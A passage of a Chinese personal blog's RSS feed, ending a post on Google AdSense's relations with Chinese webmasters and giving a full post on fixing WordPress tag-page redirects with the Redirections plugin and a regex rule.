<p>但是部分站长反应的点击单价不透明，因为涉及广告主商业隐私等信息，可能一时仍然无法解决。希望广大站长能够理解。
<p>Google Adsense 希望在平时广大站长能够通过Adsense 中文博客、用户支持论坛、成长计划、视频培训等渠道积极与Google Adsense Team有良好的沟通与反馈。
<p>最后，Google(谷歌)中国工程研究院副院长王劲和周文彪先生对中国站长站在帮助Adsense在中国成长发展的付出给予高度评价，感谢中国站长站应邀出席参加Google Adsense的活动并带来站长的心声与反馈，今后将继续加强与中国站长站的合作，共同为中文网站提供盈利的驱动力!
<p>但愿这次是真的，09年还有几天就要到了，今天又把这条旧闻给翻出来了。还有几天，PR就要更新了，但愿这次可以再上台阶。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/348.html" title="Google Adsense正在内测人民币支付">Google Adsense正在内测人民币支付</a></li><li><a href="http://imvoo.com/archives/341.html" title="Google Adsense本地化支付到底能实现吗？">Google Adsense本地化支付到底能实现吗？</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/232.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>困扰多时的WordPress的Tag页面转向问题解决了</title>
		<link>http://imvoo.com/archives/180.html</link>
		<comments>http://imvoo.com/archives/180.html#comments</comments>
		<pubDate>Wed, 22 Oct 2008 15:11:34 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[redirections]]></category>
		<category><![CDATA[tag]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[转向]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/180.html</guid>
		<description><![CDATA[刚开始建立博客的时候用的是动态链接，即/?p=1的形式，后来用了/archives/1.html这种形式，其它的页面都可以转向，唯独/?tag=wordpress这样的页面不能转向。今天在Wordpress官方网站上下载了插件Redirections，解决了这个问题。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>刚开始建立博客的时候用的是动态链接，即/?p=1的形式，后来用了/archives/1.html这种形式，其它的页面都可以转向，唯独/?tag=wordpress这样的页面不能转向。今天在Wordpress官方网站上下载了插件Redirections，解决了这个问题。</p>
<p><span id="more-180"></span></p>
<p>把插件下载下来，上传到Plugin目录之后，在插件那里启用Redirections。该插件的设置菜单是在管理-&gt;Redirections设置。第一次打开，有一个$8的提示，不影响使用，第二次打开的时候就没有了，不知道是不是随机出现的，因为刚刚使用，样本不多，所以不好说。</p>
<p>tag页面的转向（根据我的设置的）：</p>
<p>Source URL:/\?tag(.+)$</p>
<p>Target URL:/archives/tag/$1</p>
<p>Regular expression：勾选</p>
<p>就可以了</p>
<p>点击 Add Redirection后，上面的列表会出现你刚才的设置。值得一提的是有统计功能，包括源地址，来源，IP地址，时间等。</p>
<p>插件下载：到官方网站，搜索Redirections。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/521.html" title="LNMP下WordPress+WP Super Cache支持Mobile的Rewrite规则">LNMP下WordPress+WP Super Cache支持Mobile的Rewrite规则</a></li><li><a href="http://imvoo.com/archives/465.html" title="WordPress插件推荐：侧边栏逻辑判断Widget Logic">WordPress插件推荐：侧边栏逻辑判断Widget Logic</a></li><li><a href="http://imvoo.com/archives/411.html" title="Nginx下Wordpress的WP Super Cache不能写文件的问题">Nginx下Wordpress的WP Super Cache不能写文件的问题</a></li><li><a href="http://imvoo.com/archives/355.html" title="博客又一次被301转向了">博客又一次被301转向了</a></li><li><a href="http://imvoo.com/archives/335.html" title="从本博客的搜索引擎收录历史看网站优化">从本博客的搜索引擎收录历史看网站优化</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/180.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

